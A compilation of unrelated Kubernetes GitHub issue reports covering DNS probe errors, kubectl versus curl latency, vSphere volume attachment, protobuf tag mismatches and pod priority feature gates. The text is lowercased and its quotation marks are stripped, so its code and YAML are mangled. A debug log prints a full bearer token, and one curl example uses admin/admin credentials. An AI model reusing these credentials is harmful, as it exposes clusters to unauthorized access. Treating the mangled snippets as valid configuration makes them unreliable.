flag.parse: i1218 13:51:58.238295       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i1218 13:51:58.238376       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: w1218 14:07:18.501915       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:49567->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w1218 14:07:23.502392       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:37431->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w1218 14:07:28.502818       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41912->127.0.0.1:53: read: connection refused\r \r the configuration file are downloaded from th official website.\r \r sos. can someone point me in the right direction? have spent a lot of time trying to figure this one out.\r thanks in advance\r __

we need both timeouts:\r 1. per device plugin timeout -- advertised by device plugins\r 2. kubelet's upper bound default timeout: added by pr  58282  \r \r - device plugin registration should be failed if its timeout is more than kubelet's upper bound.\r - if plugin had advertised a within allowed range timeout, its own timeout should be used in the rpc\r - if any plugin has not advertised timeout, kubelet's default should be used in rpc\r \r why we want to have upper bound with kubelet is because there could be many device plugins running at the same time with random timeouts. it would be a nightmare for admin to manage delays without a upper bound at kubelet. with upper bound at kubelet, admin knows what max guaranteed delay could be there with rpc.\r \r  58282  has just kubelet upper bound timeout. i would like to do following things in a separate pr:\r 1. make kubelet device plugin upper bound timeout configurable using kubelet flag\r 2. support device plugin advertised timeouts.\r \r   /area hw-accelerators\r /cc @jiayingz @renaudwastaken @vishh @scorpiocph @sjenning @derekwaynecarr @jeremyeder @lichuqiang @tengqm @connordoyle

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have three nodes in my cluster, when i use  kubectl get nodes  and  curl  to get nodes, the response time of  kubectl get nodes  is much faster than  curl , any performance tuning in client-go?\r \r kubectl version\r    \r root@gyliu-icp-6:~/scratch/istio  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t06:32:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t06:32:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r root@gyliu-icp-6:~/scratch/istio  kubectl get nodes -v=8\r i0522 08:55:17.460889   15561 loader.go:357  config loaded from file /root/.kube/config\r i0522 08:55:17.470956   15561 round_trippers.go:383  get https://9.111.255.26:8001/api/v1/nodes?limit=500\r i0522 08:55:17.471011   15561 round_trippers.go:390  request headers:\r i0522 08:55:17.471017   15561 round_trippers.go:393      accept: application/json\r i0522 08:55:17.471023   15561 round_trippers.go:393      user-agent: kubectl/v1.10.0+icp  linux/amd64  kubernetes/9cb64de\r i0522 08:55:17.471027   15561 round_trippers.go:393      authorization: bearer eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyjhdf9oyxnoijointhnemt4dhu0mdnzctdtcjnncdiilcjyzwfsbu5hbwuioijjdxn0b21szwfsbsisinvuaxf1zvnly3vyaxr5tmftzsi6imfkbwluiiwiaxnzijoiahr0chm6ly9tewnsdxn0zxixlmljcdo5ndqzl29pzgmvzw5kcg9pbnqvt1ailcjhdwqioijjzdvintm0yzmxnwrkzta5y2rjzdg3y2fmzwviogvjziisimv4cci6mtuynjg4ndu2miwiawf0ijoxnti2odu1nzyylcjzdwiioijhzg1pbiisinrlyw1sb2xltwfwcgluz3mioltdfq.timfrs9lesq3dknmoqvsezy5unx0innnhzypmpxsuxgplrcqh9mrfy3mj8r77qrwgzubeczl0pzv20yk2qlcogky1e_-ml1yt36l6qmte16tacxhq5v0fwh8fetf2alaslcgc5cg-qnwbiuris0-us_scqxf7r2xgjrbtnuevnox-qvtaqwt2n_n7wpbcmnyg7fvp9bb1vwbfudhykgs1azui7lfefwoksyhj0zki-k0nf-mgsbvh8kuy_gadroq7lws8sqivtsizm8kmrzecafqu60whbc86rjegkqx8sm7lqzhfgxok2acnf6bfesfiiaqdspzb3urklvicitpgg\r i0522 08:55:17.483314   15561 round_trippers.go:408  response status: 200 ok in 12 milliseconds\r i0522 08:55:17.483342   15561 round_trippers.go:411  response headers:\r i0522 08:55:17.483349   15561 round_trippers.go:414      content-type: application/json\r i0522 08:55:17.483355   15561 round_trippers.go:414      date: tue, 22 may 2018 08:55:17 gmt\r i0522 08:55:17.483833   15561 request.go:874  response body: {\ kind\ :\ nodelist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/nodes\ ,\ resourceversion\ :\ 2679134\ },\ items\ : {\ metadata\ :{\ name\ :\ 9.111.255.203\ ,\ selflink\ :\ /api/v1/nodes/9.111.255.203\ ,\ uid\ :\ 851b9308-5351-11e8-beb2-fa163ee3307d\ ,\ resourceversion\ :\ 2679131\ ,\ creationtimestamp\ :\ 2018-05-09t06:23:42z\ ,\ labels\ :{\ beta.kubernetes.io/arch\ :\ amd64\ ,\ beta.kubernetes.io/os\ :\ linux\ ,\ gpu/nvidia\ :\ na\ ,\ kubernetes.io/hostname\ :\ 9.111.255.203\ },\ annotations\ :{\ node.alpha.kubernetes.io/ttl\ :\ 0\ ,\ volumes.kubernetes.io/controller-managed-attach-detach\ :\ true\ }},\ spec\ :{\ externalid\ :\ 9.111.255.203\ },\ status\ :{\ capacity\ :{\ cpu\ :\ 8\ ,\ ephemeral-storage\ :\ 254060400ki\ ,\ hugepages-1gi\ :\ 0\ ,\ hugepages-2mi\ :\ 0\ ,\ memory\ :\ 16431920ki\ ,\ pods\ :\ 110\ },\ allocatable\ :{\ cpu\ :\ 8\ ,\ ephemeral-storage\ :\ 234142064253\ ,\ hugepages-1gi\ :\ 0\ ,\ hugepages-2mi\ :\ 0\ ,\ memory\ :\ 16329520ki\ ,\ pods\ :\ 110\ },\ conditions\ : {\ type\ :\ outofdisk\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2018-05-22t08:55:16z\ ,\ lasttransitiontime\ :\ 2018-05-09t06:23:42z\ ,\ reason\ :\ k  truncated 35261 chars \r i0522 08:55:17.489904   15561 round_trippers.go:383  get https://9.111.255.26:8001/openapi/v2\r i0522 08:55:17.489927   15561 round_trippers.go:390  request headers:\r i0522 08:55:17.489934   15561 round_trippers.go:393      user-agent: kubectl/v1.10.0+icp  linux/amd64  kubernetes/9cb64de\r i0522 08:55:17.489940   15561 round_trippers.go:393      accept: application/com.github.proto-openapi.spec.v2@v1.0+protobuf\r i0522 08:55:17.489948   15561 round_trippers.go:393      authorization: bearer eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyjhdf9oyxnoijointhnemt4dhu0mdnzctdtcjnncdiilcjyzwfsbu5hbwuioijjdxn0b21szwfsbsisinvuaxf1zvnly3vyaxr5tmftzsi6imfkbwluiiwiaxnzijoiahr0chm6ly9tewnsdxn0zxixlmljcdo5ndqzl29pzgmvzw5kcg9pbnqvt1ailcjhdwqioijjzdvintm0yzmxnwrkzta5y2rjzdg3y2fmzwviogvjziisimv4cci6mtuynjg4ndu2miwiawf0ijoxnti2odu1nzyylcjzdwiioijhzg1pbiisinrlyw1sb2xltwfwcgluz3mioltdfq.timfrs9lesq3dknmoqvsezy5unx0innnhzypmpxsuxgplrcqh9mrfy3mj8r77qrwgzubeczl0pzv20yk2qlcogky1e_-ml1yt36l6qmte16tacxhq5v0fwh8fetf2alaslcgc5cg-qnwbiuris0-us_scqxf7r2xgjrbtnuevnox-qvtaqwt2n_n7wpbcmnyg7fvp9bb1vwbfudhykgs1azui7lfefwoksyhj0zki-k0nf-mgsbvh8kuy_gadroq7lws8sqivtsizm8kmrzecafqu60whbc86rjegkqx8sm7lqzhfgxok2acnf6bfesfiiaqdspzb3urklvicitpgg\r i0522 08:55:17.496273   15561 round_trippers.go:408  response status: 200 ok in 6 milliseconds\r i0522 08:55:17.496308   15561 round_trippers.go:411  response headers:\r i0522 08:55:17.496320   15561 round_trippers.go:414      accept-ranges: bytes\r i0522 08:55:17.496331   15561 round_trippers.go:414      content-type: application/octet-stream\r i0522 08:55:17.496338   15561 round_trippers.go:414      date: tue, 22 may 2018 08:55:17 gmt\r i0522 08:55:17.496346   15561 round_trippers.go:414      etag: \ 85b1851e82082304320dba5b8476d7aedf9096182a7080b656fe63e41b449c8f4673ba1ab79ec4049fba2569464cbd082e38d26d037a64c491f4f2dd8e7fa4ab\ \r i0522 08:55:17.496356   15561 round_trippers.go:414      last-modified: mon, 21 may 2018 06:37:18 gmt\r i0522 08:55:17.496365   15561 round_trippers.go:414      vary: accept-encoding\r i0522 08:55:17.496372   15561 round_trippers.go:414      vary: accept\r i0522 08:55:17.496380   15561 round_trippers.go:414      x-from-cache: 1\r i0522 08:55:17.496389   15561 round_trippers.go:414      x-varied-accept: application/com.github.proto-openapi.spec.v2@v1.0+protobuf\r i0522 08:55:17.610623   15561 request.go:872  response body:\r 00000000  0a 03 32 2e 30 12 19 0a  0a 4b 75 62 65 72 6e 65  |..2.0....kuberne|\r 00000010  74 65 73 12 0b 76 31 2e  31 30 2e 30 2b 69 63 70  |tes..v1.10.0+icp|\r 00000020  42 ef c2 69 12 ca 02 0a  05 2f 61 70 69 2f 12 c0  |b..i...../api/..|\r 00000030  02 12 bd 02 0a 04 63 6f  72 65 1a 1a 67 65 74 20  |......core..get |\r 00000040  61 76 61 69 6c 61 62 6c  65 20 41 50 49 20 76 65  |available api ve|\r 00000050  72 73 69 6f 6e 73 2a 12  67 65 74 43 6f 72 65 41  |rsions .getcorea|\r 00000060  50 49 56 65 72 73 69 6f  6e 73 32 10 61 70 70 6c  |piversions2.appl|\r 00000070  69 63 61 74 69 6f 6e 2f  6a 73 6f 6e 32 10 61 70  |ication/json2.ap|\r 00000080  70 6c 69 63 61 74 69 6f  6e 2f 79 61 6d 6c 32 23  |plication/yaml2 |\r 00000090  61 70 70 6c 69 63 61 74  69 6f 6e 2f 76 6e 64 2e  |application/vnd.|\r 000000a0  6b 75 62 65 72 6e 65 74  65 73 2e 70 72 6f 74 6f  |kubernetes.proto|\r 000000b0  62 75 66 3a 10 61 70 70  6c 69 63 61 74 69 6f 6e  |buf:.application|\r 000000c0  2f 6a 73 6f 6e 3a 10 61  70 70 6c 69 63 61 74 69  |/json:.applicat  truncated 11527750 chars \r name            status    roles     age       version\r 9.111.255.203   ready     <none>    13d       v1.10.0+icp-ee\r 9.111.255.26    ready     <none>    13d       v1.10.0+icp-ee\r 9.111.255.92    ready     <none>    13d       v1.10.0+icp-ee\r    \r \r from above, we can see the response time is 12 milliseconds to get all three nodes.\r    \r i0522 08:55:17.483314   15561 round_trippers.go:408  response status: 200 ok in 12 milliseconds\r    \r \r but when i switch to  curl , it is always around 100 milliseconds to get all nodes.\r \r get id token.\r    \r id_token= curl -k -h \ content-type: application/x-www-form-urlencoded;charset=utf-8\  -d \ grant_type=password&username=admin&password=admin&scope=openid\  https://9.111.255.26:8443/idprovider/v1/auth/identitytoken --insecure | jq -r .id_token \r    \r \r get nodes via  curl .\r    \r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.132\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.096\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.099\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.100\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.123\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.099\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.099\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.100\r root@gyliu-icp-6:~/scratch/istio  curl -h get --header \ authorization: bearer $id_token\  https://9.111.255.26:8001/api/v1/nodes  ?  -o /dev/null -s -w \ time_connect: %{time_connect}\ time_starttransfer: %{time_starttransfer}\ time_total: %{time_total}\ \ |grep time_total|awk -f \ :\   '{print $2}'|head -n 1\r  0.103\r    \r \r from above, we can see that  curl  is much slow than  kubectl  command, any comments for this why  curl  is so slow?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r copy some of the last state information  reason / message / exit code  to the failedsync message detail\r \r   why is this needed  :\r \r to improve first-time usability - the events naturally appear at the bottom of a kubectl describe po output, you have to know to scroll up to the state section to actually identify the root cause.\r \r if accepted i am happy to work on a pr for this.\r \r \r <!-- do not edit below this line -->\r 

it's a little messy and hard to understand -- @jeffvance @jayunit100 are interested in this, i think.

currently those two, completely independent things are done by the nodecontroller.  cc @kubernetes/goog-control-plane

bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.0\ , gitcommit:\ 3ed7d0f453a5517245d32a9c57c39b946e578821\ , gittreestate:\ clean\ , builddate:\ 2017-01-13t00:23:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r vmware virtual machine\r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1235.6.0\r version_id=1235.6.0\r build_id=2017-01-10-0545\r pretty_name=\ container linux by coreos 1235.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r -   kernel    e.g.  uname -a  :\r linux master-01.c002.k8s.easypack24.net 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v3 @ 2.30ghz genuineintel gnu/linux\r -   install tools  :\r installation method:\r https://coreos.com/kubernetes/docs/latest/kubernetes-on-baremetal.html\r \r -   others  :\r 3 nodes cluster with vsphere cloud provider  master + 2 workers \r \r    master\r components with vsphere coloud provider flag:     kube-apiserver, kube-controller-manager, kubelet-wrapper   \r    \r        global \r                user = k8s@vmware.local\r                password = xxxxxx\r                server = 192.168.99.114\r                port = 443\r                insecure-flag = 1\r                datacenter = dc_first\r                datastore = krk_5300_t1_sas_ilpc_1_vm_006\r                working-dir = /dc_first/vm/prod/coreos-c002/\r        disk \r                scsicontrollertype = pvscsi\r    \r    node-a-01\r   same   config as on master.\r component with vsphere coloud provider flag:    kubelet-wrapper   \r    \r        global \r                user = k8s@vmware.local\r                password = xxxxxx\r                server = 192.168.99.114\r                port = 443\r                insecure-flag = 1\r                datacenter = dc_first\r                datastore = krk_5300_t1_sas_ilpc_1_vm_006\r                working-dir = /dc_first/vm/prod/coreos-c002/\r        disk \r                scsicontrollertype = pvscsi\r    \r    node-b-01\r   different   config as than on    master    and    node-a-01   .\r component with vsphere coloud provider flag:     kubelet-wrapper   \r    \r        global \r                user = k8s@vmware.local\r                password = xxxxxx\r                server = 10.102.51.124\r                port = 443\r                insecure-flag = 1\r                datacenter = dc_second\r                datastore = deb_5300_dt_ilpc_1_vm_007\r                working-dir = /dc_second/vm/prod/coreos_c002/\r        disk \r                scsicontrollertype = pvscsi\r    \r \r   what happened  :\r error when try to create pod on node    worker-b-01    using attached volume from vmware data storage.\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-vmdk-second\r spec:\r   nodeselector:\r     dc: second\r   containers:\r   - image: ubuntu\r     name: test-container\r     command:  \ sleep\ ,\ 3600\  \r     volumemounts:\r     - mountpath: /test-vmdk\r       name: test-volume-deb\r   volumes:\r   - name: test-volume-deb\r       this vmdk volume already exists.\r     vspherevolume:\r       volumepath: \  deb_5300_dt_ilpc_1_vm_007  volumes/mydisk1\ \r       fstype: ext4\r    \r     kubectl describe pod test-vmdk-second\r    \r core@master-01 ~ $ kubectl  describe pod test-vmdk-second\r name:           test-vmdk-second\r namespace:      default\r node:           node-b-01.c002.k8s.easypack24.net/\r start time:     wed, 18 jan 2017 13:54:07 +0100\r labels:         <none>\r status:         failed\r reason:         matchnodeselector\r message:        pod predicate matchnodeselector failed\r ip:             \r controllers:    <none>\r containers:\r   test-container:\r     image:      ubuntu\r     port:       \r     command:\r       sleep\r       3600\r     volume mounts:\r       /test-vmdk from test-volume-deb  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-f3r71  ro \r     environment variables:      <none>\r volumes:\r   test-volume-deb:\r     type:       vspherevolume  a persistent disk resource in vsphere \r     volumepath:  deb_5300_dt_ilpc_1_vm_007  volumes/mydisk1\r     fstype:     ext4\r   default-token-f3r71:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-f3r71\r qos class:      besteffort\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   20m           19m             8       {default-scheduler }                    warning         failedscheduling        pod  test-vmdk-second  failed to fit in any node\r fit failure summary on nodes : matchnodeselector  3 \r   18m   18m     1       {default-scheduler }                                    normal  scheduled               successfully assigned test-vmdk-second to node-b-01.c002.k8s.easypack24.net\r   16m   16m     1       {kubelet node-b-01.c002.k8s.easypack24.net}             warning failedmount             unable to mount volumes for pod \ test-vmdk-second_default e993310f-dd7c-11e6-a40b-00505690f6d8 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ test-vmdk-second\ . list of unattached/unmounted volumes= test-volume-deb \r   16m   16m     1       {kubelet node-b-01.c002.k8s.easypack24.net}             warning failedsync              error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ test-vmdk-second\ . list of unattached/unmounted volumes= test-volume-deb \r   15m   15m     1       {kubelet node-b-01.c002.k8s.easypack24.net}             warning matchnodeselector       predicate matchnodeselector failed\r   18m   16s     10      {controller-manager }                                   warning failedmount             failed to attach volume \ test-volume-deb\  on node \ node-b-01.c002.k8s.easypack24.net\  with: vm '/dc_first/vm/prod/coreos-c002/node-b-01.c002.k8s.easypack24.net' not found\r    \r    controller-manager    create wrong path to vm:\r    /dc_first/vm/prod/coreos-c002/node-b-01.c002.k8s.easypack24.net   \r \r   currently using:   \r    working-dir = /dc_first/vm/prod/coreos-c002/     from    master   \r \r   expected:   \r    working-dir = /dc_second/vm/prod/coreos_c002/    from    worker-b-01   \r \r \r   what you expected to happen  :\r 1. path to vm should looks like    /dc_second/vm/prod/coreos_c002/node-b-01.c002.k8s.easypack24.net   \r 2. pod should start with attached vmware volume.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r nodes are sucessfully added do cluster\r    \r core@master-01 ~ $ kubectl get nodes\r name                                status                     age\r master-01.c002.k8s.easypack24.net   ready,schedulingdisabled   2d\r node-a-01.c002.k8s.easypack24.net   ready                      3d\r node-b-01.c002.k8s.easypack24.net   ready                      1h\r    \r \r i'am able to successfully create pod on    worker-a-01    using config:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-vmdk-first\r spec:\r   nodeselector:\r     dc: second\r   containers:\r   - image: ubuntu\r     name: test-container\r     command:  \ sleep\ ,\ 3600\  \r     volumemounts:\r     - mountpath: /test-vmdk\r       name: test-volume\r   volumes:\r   - name: test-volume\r       this vmdk volume already exists.\r     vspherevolume:\r       volumepath: \  krk_5300_t1_sas_ilpc_1_vm_006  volumes/mydisk1\ \r       fstype: ext4\r    \r \r

noticed this after generating go types from the protobuf files. subjectaccessreviewspec has \ verb\  instead of \ user\  1 . certificatesigningrequestspec uses \ keyusages\  instead of the json tag \ usages\  2 .\r \r    go\r \tuser string  json:\ user,omitempty\  protobuf:\ bytes,3,opt,name=verb\  \r    \r \r since protobuf names aren't important, just the index, i think we can fix this with no comparability breaks for the wire format. cc @kubernetes/sig-api-machinery-bugs \r \r p.s. here's the script i used to find the mismatched tags:\r \r    python\r  !/usr/bin/env python\r \r from __future__ import print_function\r \r import os\r import re\r import sys\r \r   search for json and protobuf struct tags.\r pattern = re.compile 'json\\:\  \\w+ . name= \\w+ ' \r \r exit_code = 0\r \r for root, dirs, files in os.walk \ pkg\  :\r     for file in files:\r         if file != \ types.go\ :\r             continue\r \r         p = os.path.join root, file \r         with open p, \ r\   as f:\r             for line in f:\r                 result = pattern.search line \r                 if result is none:\r                     continue\r \r                 json_name = result.group 1 \r                 pb_name = result.group 2 \r                 if json_name != pb_name:\r                     exit_code = 1\r                     print \ mismatch in %s: %s!=%s\  %  p, json_name, pb_name  \r \r sys.exit exit_code \r    \r \r which prints\r \r    \r $ ./find.py \r mismatch in pkg/apis/authorization/v1/types.go: user!=verb\r mismatch in pkg/apis/authorization/v1beta1/types.go: user!=verb\r mismatch in pkg/apis/certificates/v1beta1/types.go: usages!=keyusage\r    \r \r  1  https://github.com/kubernetes/kubernetes/blob/v1.6.2/pkg/apis/authorization/v1/types.go l134\r  2  https://github.com/kubernetes/kubernetes/blob/v1.6.2/pkg/apis/certificates/v1beta1/types.go l54

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : the psp admission controller iterates through applicable psps for both the user and the service account. this leads to  at least  one rbac deny message for each pod.\r \r \r   what you expected to happen  : \ rbac deny\  should be a more meaningful message\r \r \r   how to reproduce it    as minimally and precisely as possible : enable psp w/rbac\r

is this a bug report or feature request?  :\r \r   what happened  :\r  pkg/apis/apps/zz_generated.deepcopy.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/apps/zz_generated.deepcopy.go l88-l96 :\r    go\r // deepcopyinto is an autogenerated deepcopy function, copying the receiver, creating a new controllerrevision.\r func  x  controllerrevision  deepcopy    controllerrevision {\r \tif x == nil {\r \t\treturn nil\r \t}\r \tout := new controllerrevision \r \tx.deepcopyinto out \r \treturn out\r }\r    \r \r the method name in comment does not match the real method name.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r regenerate these codes and update the dependency in vendor after kubernetes/gengo 69 merged.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r after enabling pod in api server and scheduler as per the document here https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/\r also enabled  admission-control of api server.\r i was able to create priorityclass but got following error while creating pods with or without  after the changes:\r    \r error validating pod nginx_default 8e139687-c655-11e7-9114-246e967a4158  from api, ignoring:  spec.priorityclassname: forbidden: pod  disabled by feature-gate, spec.priority: forbidden: pod  disabled by feature-gate \r    \r this happens for all deployments and cluster becomes unusable. am i missing any other configuration that needs to be enabled?\r \r   what you expected to happen  :\r i expected the deployments/pods  to initialize successfully with default / specified priority.\r   how to reproduce it  as minimally and precisely as possible   :\r enable following flags in cluster:\r api server:\r    \r --feature-gates=podpriority=true\r --runtime-config=scheduling.k8s.io/v1alpha1=true\r --admission-control=...,priority\r    \r scheduler:\r    \r --feature-gates=podpriority=true\r    \r \r create high     yaml\r apiversion: scheduling.k8s.io/v1alpha1\r kind: priorityclass\r metadata:\r   name: high-priority\r value: 100000\r globaldefault: false\r description: \ this  for high  \r    \r create a pod using the  name:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     env: test\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     imagepullpolicy: ifnotpresent\r   priorityclassname: high-priority\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare metal amd64\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  :  4.10.10-1.el7.elrepo.x86_64\r - install tools: kubeadm \r - others: docker 17.10\r

i'm trying to use squid and squidguard in kubernetes.\r \r my config look as follwos:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r     name: squidguard\r     namespace: proxy\r spec:\r     replicas: 1\r     template:\r         metadata:\r             labels:\r                 app: squidguard\r         spec:\r             volumes:\r             - name: custom-config\r               hostpath:\r                 path: \ /path/squidguard/config\ \r             - name: log\r               hostpath:\r                 path: \ /path/squidguard/log\ \r             containers:\r             - name: squidguard\r               image: muenchhausen/docker-squidguard:latest\r               imagepullpolicy: always\r               ports:\r               - containerport: 3128\r               - containerport: 80\r               volumemounts:\r               - mountpath: \ /custom-config\ \r                 name: custom-config\r               - mountpath: \ /var/log/squid3\ \r                 name: log\r               env:\r               - name: squid_uid\r                 value: \ 1000\ \r               - name: squid_config_source\r                 value: \ /custom-config\ \r               - name: update_blacklist_url\r                 value: \ http://www.shallalist.de/downloads/shallalist.tar.gz\ \r ---\r apiversion: v1\r kind: service\r metadata:\r     name: 